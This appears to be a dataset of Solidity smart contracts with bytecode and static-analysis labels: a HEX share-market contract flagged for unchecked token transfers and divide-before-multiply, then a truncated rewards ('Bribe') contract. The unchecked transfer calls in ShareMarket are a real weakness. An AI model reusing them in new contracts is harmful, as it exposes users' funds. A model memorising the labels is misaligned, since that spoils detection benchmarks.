remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = denominator & (~denominator + 1);
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
interface IMinterReceiver {
function sharesMinted(
uint40 stakeId,
address supplier,
uint72 stakedHearts,
uint72 stakeShares
) external;
function earningsMinted(uint40 stakeId, uint72 heartsEarned) external;
}
contract ShareMarket is IMinterReceiver {
IERC20 public hexContract;
address public minterContract;
struct ShareOrder {
uint40 stakeId;
uint72 sharesPurchased;
address shareReceiver;
}
struct ShareListing {
uint72 heartsStaked;
uint72 sharesTotal;
uint72 sharesAvailable;
uint72 heartsEarned;
uint72 supplierHeartsOwed;
address supplier;
mapping(address => uint72) shareOwners;
}
mapping(uint40 => ShareListing) public shareListings;
event AddListing(
uint40 indexed stakeId,
address indexed supplier,
uint72 shares
);
event SharesUpdate(
uint40 indexed stakeId,
address indexed updater,
uint72 sharesAvailable
);
event AddEarnings(uint40 indexed stakeId, uint72 heartsEarned);
event BuyShares(
uint40 indexed stakeId,
address indexed owner,
uint72 sharesPurchased
);
event ClaimEarnings(
uint40 indexed stakeId,
address indexed claimer,
uint256 heartsClaimed
);
event SupplierWithdraw(
uint40 indexed stakeId,
address indexed supplier,
uint72 heartsWithdrawn
);
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
constructor(IERC20 _hex, address _minter) {
hexContract = _hex;
minterContract = _minter;
}
function sharesOwned(uint40 stakeId, address owner)
public
view
returns (uint72 shares)
{
return shareListings[stakeId].shareOwners[owner];
}
function sharesMinted(
uint40 stakeId,
address supplier,
uint72 stakedHearts,
uint72 stakeShares
) external override {
require(msg.sender == minterContract, "CALLER_NOT_MINTER");
ShareListing storage listing = shareListings[stakeId];
listing.heartsStaked = stakedHearts;
listing.sharesTotal = stakeShares;
listing.sharesAvailable = stakeShares;
listing.supplier = supplier;
emit AddListing(stakeId, supplier, stakeShares);
}
function earningsMinted(uint40 stakeId, uint72 heartsEarned)
external
override
{
require(msg.sender == minterContract, "CALLER_NOT_MINTER");
shareListings[stakeId].heartsEarned = heartsEarned;
emit AddEarnings(stakeId, heartsEarned);
}
function _buyShares(
uint40 stakeId,
address shareReceiver,
uint72 sharesPurchased
) private returns (uint72 heartsOwed) {
require(sharesPurchased != 0, "INSUFFICIENT_SHARES_PURCHASED");
ShareListing storage listing = shareListings[stakeId];
require(
sharesPurchased <= listing.sharesAvailable,
"INSUFFICIENT_SHARES_AVAILABLE"
);
heartsOwed = uint72(
FullMath.mulDivRoundingUp(
sharesPurchased,
listing.heartsStaked,
listing.sharesTotal
)
);
require(heartsOwed > 0, "INSUFFICIENT_HEARTS_INPUT");
listing.sharesAvailable -= sharesPurchased;
emit SharesUpdate(stakeId, msg.sender, listing.sharesAvailable);
listing.shareOwners[shareReceiver] += sharesPurchased;
listing.supplierHeartsOwed += heartsOwed;
emit BuyShares(stakeId, shareReceiver, sharesPurchased);
return heartsOwed;
}
function multiBuyShares(ShareOrder[] memory orders) external lock {
uint256 orderCount = orders.length;
require(orderCount <= 30, "EXCEEDED_ORDER_LIMIT");
uint256 totalHeartsOwed;
for (uint256 i = 0; i < orderCount; i++) {
ShareOrder memory order = orders[i];
totalHeartsOwed += _buyShares(
order.stakeId,
order.shareReceiver,
order.sharesPurchased
);
}
hexContract.transferFrom(msg.sender, address(this), totalHeartsOwed);
}
function buyShares(
uint40 stakeId,
address shareReceiver,
uint72 sharesPurchased
) external lock {
uint72 heartsOwed = _buyShares(stakeId, shareReceiver, sharesPurchased);
hexContract.transferFrom(msg.sender, address(this), heartsOwed);
}
function claimEarnings(uint40 stakeId) external lock {
ShareListing storage listing = shareListings[stakeId];
require(listing.heartsEarned != 0, "SHARES_NOT_MATURE");
uint72 ownedShares = listing.shareOwners[msg.sender];
if (msg.sender == listing.supplier) {
ownedShares += listing.sharesAvailable;
listing.sharesAvailable = 0;
emit SharesUpdate(stakeId, msg.sender, 0);
}
uint256 heartsOwed =
FullMath.mulDiv(
listing.heartsEarned,
ownedShares,
listing.sharesTotal
);
require(heartsOwed != 0, "NO_HEARTS_CLAIMABLE");
listing.shareOwners[msg.sender] = 0;
hexContract.transfer(msg.sender, heartsOwed);
emit ClaimEarnings(stakeId, msg.sender, heartsOwed);
}
function supplierWithdraw(uint40 stakeId) external lock {
ShareListing storage listing = shareListings[stakeId];
require(msg.sender == listing.supplier, "SENDER_NOT_SUPPLIER");
uint72 heartsOwed = listing.supplierHeartsOwed;
require(heartsOwed != 0, "NO_HEARTS_OWED");
listing.supplierHeartsOwed = 0;
hexContract.transfer(msg.sender, heartsOwed);
emit SupplierWithdraw(stakeId, msg.sender, heartsOwed);
}
}
|
0x608060405234801561001057600080fd5b50600436106100be5760003560e01c8063d04c201611610076578063e9145b5b1161005b578063e9145b5b146101e2578063ee5aa7f9146101f5578063fa9f3ed0146102d6576100be565b8063d04c20161461015b578063e32c9cf51461016e576100be565b806392f00233116100a757806392f00233146100eb578063a5c9a88414610135578063a752fb9314610148576100be565b806378601f42146100c357806380377170146100d8575b600080fd5b6100d66100d1366004611690565b6102f6565b005b6100d66100e6366004611771565b610696565b60015461010b9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b6100d661014336600461171e565b61079e565b6100d6610156366004611690565b61093a565b6100d6610169366004611583565b610bfb565b6101c861017c3660046116aa565b64ffffffffff8216600090815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845260030190915290205468ffffffffffffffffff1692915050565b60405168ffffffffffffffffff909116815260200161012c565b6100d66101f03660046116dc565b610e28565b61027c610203366004611690565b600260208190526000918252604090912080546001820154919092015468ffffffffffffffffff80841693690100000000000000000080820483169472010000000000000000000000000000000000009092048316938284169391909204169073ffffffffffffffffffffffffffffffffffffffff1686565b6040805168ffffffffffffffffff97881681529587166020870152938616938501939093529084166060840152909216608082015273ffffffffffffffffffffffffffffffffffffffff90911660a082015260c00161012c565b60005461010b9073ffffffffffffffffffffffffffffffffffffffff1681565b600354600114610367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f4c4f434b4544000000000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b6000600381905564ffffffffff82168152600260205260409020600181015468ffffffffffffffffff166103f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f5348415245535f4e4f545f4d4154555245000000000000000000000000000000604482015260640161035e565b336000818152600383016020526040902054600283015468ffffffffffffffffff9091169173ffffffffffffffffffffffffffffffffffffffff90911614156104d0578154610467907201000000000000000000000000000000000000900468ffffffffffffffffff1682611801565b82547fffffffffff000000000000000000ffffffffffffffffffffffffffffffffffff16835560405160008152909150339064ffffffffff8516907fb7acdd0b2c6cfbb74893f623a85a21a8609739e5840e13b3002dd98da0c1cfd79060200160405180910390a35b600182015482546000916105039168ffffffffffffffffff91821691858116916901000000000000000000900416610f6d565b90508061056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4e4f5f4845415254535f434c41494d41424c4500000000000000000000000000604482015260640161035e565b33600081815260038501602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffff000000000000000000169055905490517fa9059cbb00000000000000000000000000000000000000000000000000000000815260048101929092526024820183905273ffffffffffffffffffffffffffffffffffffffff169063a9059cbb90604401602060405180830381600087803b15801561061457600080fd5b505af1158015610628573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064c9190611670565b50604051818152339064ffffffffff8616907f034131f99f30b6e0cf273121e2a6205962fa80f1f3cc7da2b4d83dd6d87f48c59060200160405180910390a3505060016003555050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f43414c4c45525f4e4f545f4d494e544552000000000000000000000000000000604482015260640161035e565b64ffffffffff821660008181526002602090815260409182902060010180547fffffffffffffffffffffffffffffffffffffffffffffff0000000000000000001668ffffffffffffffffff861690811790915591519182527ff3668264ee96554cda395b11920655330a5ea398a276aa5a7f09edad49c17863910160405180910390a25050565b60015473ffffffffffffffffffffffffffffffffffffffff16331461081f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f43414c4c45525f4e4f545f4d494e544552000000000000000000000000000000604482015260640161035e565b64ffffffffff8416600081815260026020818152604092839020805468ffffffffffffffffff8881167fffffffffffffffffffffffffffff000000000000000000000000000000000000909216919091176901000000000000000000918816918202177fffffffffff000000000000000000ffffffffffffffffffffffffffffffffffff167201000000000000000000000000000000000000820217825592810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8a16908117909155935192835293917ffd8dc0bc205d17afd5504c8fc5a314940835080c265531abd95261b26880add4910160405180910390a35050505050565b6003546001146109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f4c4f434b45440000000000000000000000000000000000000000000000000000604482015260640161035e565b6000600381905564ffffffffff821681526002602081905260409091209081015473ffffffffffffffffffffffffffffffffffffffff163314610a45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f53454e4445525f4e4f545f535550504c49455200000000000000000000000000604482015260640161035e565b60018101546901000000000000000000900468ffffffffffffffffff1680610ac9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f4e4f5f4845415254535f4f574544000000000000000000000000000000000000604482015260640161035e565b6001820180547fffffffffffffffffffffffffffff000000000000000000ffffffffffffffffff1690556000546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015268ffffffffffffffffff8316602482015273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb90604401602060405180830381600087803b158015610b6f57600080fd5b505af1158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba79190611670565b5060405168ffffffffffffffffff82168152339064ffffffffff8516907fc861b234ff27573064384ad98e68b31a3751498a466ed85d3b5272e9c48d7a3e9060200160405180910390a35050600160035550565b600354600114610c67576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f4c4f434b45440000000000000000000000000000000000000000000000000000604482015260640161035e565b60006003558051601e811115610cd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f45584345454445445f4f524445525f4c494d4954000000000000000000000000604482015260640161035e565b6000805b82811015610d6c576000848281518110610d20577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050610d41816000015182604001518360200151611107565b610d569068ffffffffffffffffff16846117e9565b9250508080610d64906118ac565b915050610cdd565b506000546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810183905273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd90606401602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190611670565b505060016003555050565b600354600114610e94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f4c4f434b45440000000000000000000000000000000000000000000000000000604482015260640161035e565b60006003819055610ea6848484611107565b6000546040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015268ffffffffffffffffff8316604482015291925073ffffffffffffffffffffffffffffffffffffffff16906323b872dd90606401602060405180830381600087803b158015610f2957600080fd5b505af1158015610f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f619190611670565b50506001600355505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8587098587029250828110838203039150508060001415610fc55760008411610fba57600080fd5b508290049050611100565b808411610fd157600080fd5b6000848688098084039381119092039190506000610ff1861960016117e9565b8616958690049593849004936000819003046001019050611012818461182e565b90931792600061102387600361182e565b6002189050611032818861182e565b61103d90600261186b565b611047908261182e565b9050611053818861182e565b61105e90600261186b565b611068908261182e565b9050611074818861182e565b61107f90600261186b565b611089908261182e565b9050611095818861182e565b6110a090600261186b565b6110aa908261182e565b90506110b6818861182e565b6110c190600261186b565b6110cb908261182e565b90506110d7818861182e565b6110e290600261186b565b6110ec908261182e565b90506110f8818661182e565b955050505050505b9392505050565b600068ffffffffffffffffff821661117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f494e53554646494349454e545f5348415245535f505552434841534544000000604482015260640161035e565b64ffffffffff84166000908152600260205260409020805468ffffffffffffffffff720100000000000000000000000000000000000090910481169084161115611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f494e53554646494349454e545f5348415245535f415641494c41424c45000000604482015260640161035e565b805461124d9068ffffffffffffffffff808616918082169169010000000000000000009091041661149e565b915060008268ffffffffffffffffff16116112c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f494e53554646494349454e545f4845415254535f494e50555400000000000000604482015260640161035e565b8054839082906012906112f99084907201000000000000000000000000000000000000900468ffffffffffffffffff16611882565b82546101009290920a68ffffffffffffffffff81810219909316918316021790915582546040517201000000000000000000000000000000000000909104909116815233915064ffffffffff8716907fb7acdd0b2c6cfbb74893f623a85a21a8609739e5840e13b3002dd98da0c1cfd79060200160405180910390a373ffffffffffffffffffffffffffffffffffffffff84166000908152600382016020526040812080548592906113b790849068ffffffffffffffffff16611801565b92506101000a81548168ffffffffffffffffff021916908368ffffffffffffffffff160217905550818160010160098282829054906101000a900468ffffffffffffffffff166114079190611801565b92506101000a81548168ffffffffffffffffff021916908368ffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168564ffffffffff167f767922d1a0fe6359a662db274fe083cd32932c976d23382be01070f6292d31a28560405161148e919068ffffffffffffffffff91909116815260200190565b60405180910390a3509392505050565b60006114ab848484610f6d565b9050600082806114e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b8486091115611100577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811061151957600080fd5b80611523816118ac565b95945050505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461155057600080fd5b919050565b803564ffffffffff8116811461155057600080fd5b803568ffffffffffffffffff8116811461155057600080fd5b60006020808385031215611595578182fd5b823567ffffffffffffffff808211156115ac578384fd5b818501915085601f8301126115bf578384fd5b8135818111156115d1576115d1611914565b6115df848260051b0161179a565b81815284810192508385016060808402860187018a10156115fe578788fd5b8795505b838610156116625780828b031215611618578788fd5b6116218161179a565b61162a83611555565b815261163788840161156a565b88820152604061164881850161152c565b908201528552600195909501949386019390810190611602565b509098975050505050505050565b600060208284031215611681578081fd5b81518015158114611100578182fd5b6000602082840312156116a1578081fd5b61110082611555565b600080604083850312156116bc578081fd5b6116c583611555565b91506116d36020840161152c565b90509250929050565b6000806000606084860312156116f0578081fd5b6116f984611555565b92506117076020850161152c565b91506117156040850161156a565b90509250925092565b60008060008060808587031215611733578081fd5b61173c85611555565b935061174a6020860161152c565b92506117586040860161156a565b91506117666060860161156a565b905092959194509250565b60008060408385031215611783578182fd5b61178c83611555565b91506116d36020840161156a565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156117e1576117e1611914565b604052919050565b600082198211156117fc576117fc6118e5565b500190565b600068ffffffffffffffffff808316818516808303821115611825576118256118e5565b01949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611866576118666118e5565b500290565b60008282101561187d5761187d6118e5565b500390565b600068ffffffffffffffffff838116908316818110156118a4576118a46118e5565b039392505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156118de576118de6118e5565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea264697066735822122031cad5ecce35a14cbaaaec64e11217a2e47108bb04b4a6ed69be0152443f4e9364736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,292 |
0xa4d1ad4325ef52b76495d52b79402e91961931d5
|
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File srcBuild/Bribe.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
}
interface ve {
function isApprovedOrOwner(address, uint) external view returns (bool);
function ownerOf(uint) external view returns (address);
}
interface IVoter {
function _ve() external view returns (address);
}
// Bribes pay out rewards for a given pool based on the votes that were received from the user (goes hand in hand with BaseV1Gauges.vote())
contract Bribe {
address public immutable factory; // only factory can modify balances (since it only happens on vote())
address public immutable _ve;
uint public constant DURATION = 7 days; // rewards are released over 7 days
uint public constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate;
mapping(address => uint) public periodFinish;
mapping(address => uint) public lastUpdateTime;
mapping(address => uint) public rewardPerTokenStored;
mapping(address => mapping(uint => uint)) public lastEarn;
mapping(address => mapping(uint => uint)) public userRewardPerTokenStored;
address[] public rewards;
mapping(address => bool) public isReward;
uint public totalSupply;
mapping(uint => uint) public balanceOf;
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (uint => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (uint => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, uint tokenId, uint amount);
event Withdraw(address indexed from, uint tokenId, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _factory) {
factory = _factory;
_ve = IVoter(_factory)._ve();
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
/**
* @notice Determine the prior balance for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param tokenId The token of the NFT to check
* @param timestamp The timestamp to get the balance at
* @return The balance the account had as of the given block
*/
function getPriorBalanceIndex(uint tokenId, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[tokenId];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[tokenId][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[tokenId][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[tokenId][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(uint tokenId, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[tokenId];
if (_nCheckPoints > 0 && checkpoints[tokenId][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[tokenId][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[tokenId][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[tokenId] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = totalSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, totalSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
// allows a user to claim rewards for a given token
function getReward(uint tokenId, address[] memory tokens) external lock {
require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId));
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], msg.sender, _reward);
emit ClaimRewards(msg.sender, tokens[i], _reward);
}
}
// used by BaseV1Voter to allow batched reward claims
function getRewardForOwner(uint tokenId, address[] memory tokens) external lock {
require(msg.sender == factory);
address _owner = ve(_ve).ownerOf(tokenId);
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], _owner, _reward);
emit ClaimRewards(_owner, tokens[i], _reward);
}
}
function rewardPerToken(address token) public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / totalSupply);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, endTime);
_startTimestamp = endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
function earned(address token, uint tokenId) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][tokenId], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[tokenId] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(tokenId, _startTimestamp);
uint _endIndex = numCheckpoints[tokenId]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[tokenId][i];
Checkpoint memory cp1 = checkpoints[tokenId][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
